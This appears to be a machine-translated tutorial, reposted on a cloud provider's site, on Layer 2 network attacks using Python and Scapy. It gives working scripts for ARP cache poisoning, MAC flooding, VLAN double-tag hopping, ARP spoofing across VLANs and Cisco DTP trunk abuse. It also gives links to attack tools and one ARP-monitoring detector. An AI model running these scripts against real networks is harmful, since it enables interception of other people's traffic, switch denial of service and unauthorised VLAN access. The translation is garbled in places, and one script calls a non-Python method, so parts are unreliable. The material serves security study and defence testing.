Layer 2 attacks against Python Network Attacks

Source: Internet
Author: User

Layer 2 attacks against Python Network Attacks

0x00 Abstract

In Layer 2 attacks in this chapter, we will go to the fantastic journey of network hacking. Let's review that the second layer is responsible for sending packets over Ethernet using MAC addresses. In addition to ARP attacks, we will discuss how switches respond to DOS attacks and how to escape VLAN environments.

0x01 requirement Module

In Python, you don't have to worry about the original socket or network byte sequence. Scapy compiled by Philippe Biondi has the world's best data packet generator, and you can easily customize data packets. Unlike pointer operations in Libnet and C, or in RawIP and Perl, or in Scruby and Ruby, you are bound by several limited protocols. Scapy can construct packets from ARP to IP/ICMP, to TCP, UDP, DNS, DHCP, and other OSI layers. Even less common protocols are also supported, for example, BOOTP, GPRS, PPPoE, SNMP, Radius, Infrared, L2CAP/HCI, and EAP.

Now let's use Scapy on the L2 network to make some trouble! First, you need to install it using the following command:

pip install Scapy

Now you will step into the famous man-in-the-middle attack!

0x02 ARP-Cache-oning

If a host wants to send IP packets to another host, it must first request the target MAC address by using ARP. This query will be broadcast to all Members in the network. In a perfect world, only the responding host is the target host. In an imperfect world, an attacker sends an ARP response packet to its victims every few seconds, but uses its own MAC address as a response to redirect the connection to itself. This attack takes effect only when most operating systems accept response messages that they have never asked!

#!/usr/bin/pythonimport sysimport timefrom scapy.all import sendp, ARP, Ether      if len(sys.argv) < 3:    print sys.argv[0] + ": <target> <spoof_ip>"    sys.exit(1)      iface = "eth0"target_ip = sys.argv[1]fake_ip = sys.argv[2]      ethernet = Ether()arp = ARP(pdst=target_ip,                psrc=fake_ip,                op="is-at")packet = ethernet / arp      while True:        sendp(packet, iface=iface)        time.sleep(10)

With the help of Scapy, we constructed a packet named packet, which containsEthernet ()And oneARP ()Header. In the ARP header, we set the victim's IP address (target_ip) and the IP address (fake_ip) We want to hijack all connections ). For the last parameter, we setOP-CodeIs-at. It is declared as an ARP response. Then, the sendp () function waits for 10 seconds each time it sends a packet and continues sending it cyclically.

Note that you must use the sendp () function instead of the send () function, because data packets should be sent at Layer 2. Send () sends data packets on the third layer.

Finally, remember to enable IP Forwarding. Otherwise, your host will block connections from victims.

sysctl net.ipv4.ip_forward=1

Do not forget to check the settings of packet filters such as IPtables, use pf or ipfw, or directly disable it. Now you have learned enough boring theoretical knowledge, let's go directly to some practical Python code!

If you only use fake_ip to process the client's ARP cache, you will only get the client's data packets and cannot receive the server's response. As shown in.

As shown in, to force a two-way connection through the attacker's host, the attacker must use his MAC address to forge the target address of the client and the server.

Our first piece of code is a bit rough. It sends a large number of ARP packets, not only generating the required traffic, but also exposing it. Concealed attackers may adopt another policy.

If a host wants to obtain information about the IP address, it sends an ARP request. We will write a program, wait for the ARP request, and send an ARP spoofing response for each received request. In the exchange environment, each connection will flow through the attacker's host, because in the ARP cache, each IP address will have the attacker's MAC address. This attack is more elegant, not as noisy as it was before, but it is still easily detected by a well-trained administrator.

As shown in, fraudulent response packets and real host response packets are concurrently sent. Whoever receives the packet is received by the victim's network card first wins.

#!/usr/bin/python      import sysfrom scapy.all import sniff, sendp, ARP, Ether      if len(sys.argv) < 2:    print sys.argv[0] + " <iface>"    sys.exit(0)        def arp_poison_callback(packet):        # Got ARP request?        if packet[ARP].op == 1:            answer = Ether(dst=packet[ARP].hwsrc) / ARP()            answer[ARP].op = "is-at"            answer[ARP].hwdst = packet[ARP].hwsrc            answer[ARP].psrc = packet[ARP].pdst            answer[ARP].pdst = packet[ARP].psrc                  print "Fooling " + packet[ARP].psrc + " that " + \                    packet[ARP].pdst + " is me"                 sendp(answer, iface=sys.argv[1])      sniff(prn=arp_poison_callback,        filter="arp",        iface=sys.argv[1],        store=0)

From the NIC specified by the iface parameter, the sniff () function reads data packets infinitely cyclically. Set the PACP filter to arp so that all received packets are automatically filtered to ensure that when the callback function arp_onon_callback is called, only ARP packets are input. Data packets are not stored because the parameter store is 0.

The arp_python_callback () function handles our actual work. First, it checks the OP code of the ARP packet: when it is 1, it is an ARP request, and then we generate a response packet. In the response packet, the source MAC address and IP address in the request packet are used as the destination MAC address and IP address. Because we do not define the source MAC address, Scapy will automatically Insert the network interface address for sending packets.

The relationship between the IP address and the MAC address in ARP will be cached for a period of time, because it will be dumped and resolved over and over again for the same address. Run the following command to display the ARP cache:

arp -an? (192.168.13.5) at c0:de:de:ad:be:ef [ether] on eth0

This depends on the operating system and its version, local configuration settings, and the time when the address is cached.

To defend against ARP spoofing attacks, the ARP static table can be used, but it can also be overwritten by the received ARP response, all of which depend on the operating system's ARP processing code. You can also use tools like ARP watcher. ARP watcher monitors ARP traffic and reports suspicious behavior but does not stop it. The most advanced intrusion detection system can detect ARP cache poisoning attacks. You should use the above Code to check your IDS and see how it works.

0x03 ARP-Watcher

Next, we will write a small tool to report on all new devices connected to our network. Therefore, it must be able to remember the mappings between all IP addresses and MAC addresses. In addition, it can detect whether a network device suddenly changes its MAC address.

#!/usr/bin/python      from scapy.all import sniff, ARPfrom signal import signal, SIGINTimport sys      arp_watcher_db_file = "/var/cache/arp-watcher.db"ip_mac = {}      # Save ARP table on shutdowndef sig_int_handler(signum, frame):        print "Got SIGINT. Saving ARP database..."        try:                f = open(arp_watcher_db_file, "w")                      for (ip, mac) in ip_mac.items():                    f.write(ip + " " + mac + "\n")                      f.close()                print "Done."        except IOError:                print "Cannot write file " + arp_watcher_db_file                sys.exit(1)        def watch_arp(pkt):        # got is-at pkt (ARP response)        if pkt[ARP].op == 2:                print pkt[ARP].hwsrc + " " + pkt[ARP].psrc                      # Device is new. Remember it.                if ip_mac.get(pkt[ARP].psrc) == None:                        print "Found new device " + \                                pkt[ARP].hwsrc + " " + \                                pkt[ARP].psrc                        ip_mac[pkt[ARP].psrc] = pkt[ARP].hwsrc                      # Device is known but has a different IP                elif ip_mac.get(pkt[ARP].psrc) and \                        ip_mac[pkt[ARP].psrc] != pkt[ARP].hwsrc:                                print pkt[ARP].hwsrc + \                                        " has got new ip " + \                                        pkt[ARP].psrc + \                                        " (old " + ip_mac[pkt[ARP].psrc] + ")"                                ip_mac[pkt[ARP].psrc] = pkt[ARP].hwsrc      signal(SIGINT, sig_int_handler)      if len(sys.argv) < 2:        print sys.argv[0] + " <iface>"        sys.exit(0)      try:        fh = open(arp_watcher_db_file, "r")except IOError:        print "Cannot read file " + arp_watcher_db_file        sys.exit(1)      for line in fh:        line.chomp()        (ip, mac) = line.split(" ")        ip_mac[ip] = mac      sniff(prn=watch_arp,        filter="arp",        iface=sys.argv[1],        store=0)

At first, we defined a signal processing function sig_int_handler (), which will be called when the user interrupts the program. This function saves all known IP addresses and MAC addresses in the ip_mac dictionary to a file. At the beginning, we read these ARP db files and initialized the program using all the currently known mappings. If the file cannot be read, it exits. Then, we cyclically read the file content one row at a time, split each row into IP addresses and MAC addresses, and save them to the ip_mac dictionary. Call the known sniff () function to call the callback function watch_arp for each received ARP packet.

The watch_arp function is the core logic of the entire program. When the intercepted packet is an is-at packet, the packet is an ARP response. Then, we first check whether the IP address exists in the ip_mac dictionary. If no corresponding entry is found, it is a new device and a message is displayed on the screen. Otherwise, we will compare the MAC address in the packet with the MAC address in the dictionary. If the response is different, the response is forged. We will also display a message on the screen. In both cases, new information is used to update the dictionary.

0x04 MAC-Flooder

Like other computers, a vswitch has limited memory, and the table for storing MAC address information in the vswitch records the port corresponding to the MAC address and its internal ARP cache. When the buffer of the vswitch overflows, their responses may be odd. This will cause the switch to drop the service, so that the switch will become like a normal hub. In Hub Mode, the overall high traffic will not be the only problem you encounter. Therefore, all connected computers will receive the complete traffic without additional operations. You should test how your switch reacts in this case, and the following script can do this. It generates random MAC addresses and sends them to your vswitch until the buffer of the vswitch is filled up.

#!/usr/bin/python      import sysfrom scapy.all import *     packet = Ether(src=RandMAC("*:*:*:*:*:*"),                        dst=RandMAC("*:*:*:*:*:*")) / \                        IP(src=RandIP("*.*.*.*"),                            dst=RandIP("*.*.*.*")) / \                        ICMP()      if len(sys.argv) < 2:        dev = "eth0"else:        dev = sys.argv[1]      print "Flooding net with random packets on dev " + dev      sendp(packet, iface=dev, loop=1)

RandMAC and RandIP are responsible for randomly generating each byte of the address. The rest are completed by the cycle parameters of the sendp () function.

0x05 VLAN Hopping

Because VLANs do not have security features, marking a VLAN depends on the packet header containing the VLAN id. Scapy can easily create such packets. Now let's connect our computer to VLAN1 and try to ping other hosts on VLAN2.

#!/usr/bin/python      from scapy.all import *     packet = Ether(dst="c0:d3:de:ad:be:ef") / \                Dot1Q(vlan=1) / \                Dot1Q(vlan=2) / \                IP(dst="192.168.13.3") / \                ICMP()      sendp(packet)

First, we set the packet header to include our VLAN tag and add a destination host address. The switch will remove the first tag and does not decide how to process the packet. when it sees the second tag VLAN id 2, it will decide to forward it to this vlan. If a switch is connected to another VLAN switch that is enabled by stacking, this attack will only succeed, otherwise it will be a port-based VLAN.

0x06 Let's Play Switch

Linux can run on many embedded network devices. Therefore, with the Linux operating system, people can turn their computers into a fully functional VALN switch, which is not surprising. You only need the vconfig tool. After installing the required data packets based on your operating system, you can use the following command to add your host to another VLAN environment.

vconfig add eth0 1

Then you must remember to start a new device and give it an IP address in the VLAN network.

ifconfig eth0.1 192.168.13.23 up
0x07 ARP Spoofing Over VLAN Hopping

The VLAN limits the broadcast traffic to the ports of the same VLAN. Therefore, we cannot handle all ARP requests by default, as shown in the first ARP spoofing example, the MAC address must be told to the victim every few seconds. In addition to the target VLAN that we label and add to each packet, the following code is generic.

#!/usr/bin/python      import timefrom scapy.all import sendp, ARP, Ether, Dot1Q      iface = "eth0"target_ip = '192.168.13.23'fake_ip = '192.168.13.5'fake_mac = 'c0:d3:de:ad:be:ef'our_vlan = 1target_vlan = 2     packet = Ether() / \                Dot1Q(vlan=our_vlan) / \                Dot1Q(vlan=target_vlan) / \                ARP(hwsrc=fake_mac,                        pdst=target_ip,                        psrc=fake_ip,                        op="is-at")      while True:        sendp(packet, iface=iface)        time.sleep(10)

Fortunately, defending against such VLAN attacks is not that complicated: If you really want to separate your network, you only need to use physical switches!

0x08 DTP Abusing

DTP (dynamic relay Protocol) is a proprietary protocol invented by Cisco for dynamic communication between switches if a port is a trunk port. The Trunk port is usually used to interconnect vswitches and routers to share some or all known VLANs.

To be able to execute the following code, you need to install the development version of Scapy. In addition, to check out the source, install Mercurial first, and then type the following command to clone Scapy repository.

hg clone http://hg.secdev.org/scapy scapy

If you want to keep track of the latest Scapy version, you only need to update checkout from time to time.

cd scapyhg pull

Now you can change the version of Scapy to the latest version.

pip uninstall Scapycd scapypython setup.py install

Thanks to the DTP protocol, and it completely ignores any security attribute, we can now send a dynamic package to every Cisco device that enables DTP, and require it to convert our port to the trunk port.

#!/usr/bin/python      import sysfrom scapy.layers.l2 import Dot3 , LLC, SNAPfrom scapy.contrib.dtp import *     if len(sys.argv) < 2:        print sys.argv[0] + " <dev>"        sys.exit()      negotiate_trunk(iface=sys.argv[1])

As an optional parameter, you can set to spoof the MAC address of an adjacent switch. If this parameter is not set, a random value is automatically generated.

This attack may last for several minutes, but attackers do not care about the latency because they know what they will get after changing the possibility of connecting to each VLAN!

vconfig add eth0 <vlan-id>ifconfig eth0.<vlan-id> <ip_of_vlan> up

There is no good reason to use DTP, so simply disable it!

0x09 Tools

NetCommander

NetCommander is a simple ARP spoofing program. It sends an ARP request to each possible IP address to search for the active hosts on the network. You can choose the connection to be hijacked, and then every few seconds, NetCommander will automatically fool the two-way connection between those hosts and the default gateway.

Tool source code can be downloaded from here: https://github.com/evilsocket/NetCommander

Hacker's Hideaway ARP Attack Tool

Hacker's Hideaway ARP Attack Tool has more functions than NetCommander. In addition to spoofing special connections, it also supports passive spoofing of all ARP requests to source IP addresses and MAC flood attacks.

Tool download link: https://packetstormsecurity.org/files/81368/hharp.py.tar.bz2

Loki

Loki is a layer 2 and Layer 3 attack tool like Yersinia. It can be expanded through plug-ins, and also has a beautiful GUI. It implements attacks such as ARP spoofing and flooding, BGP, and RIP route injection, and even can attack very rare protocols such as HSRP and VRRP.

Tool Source Code address: https://www.c0decafe.de/loki.html

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.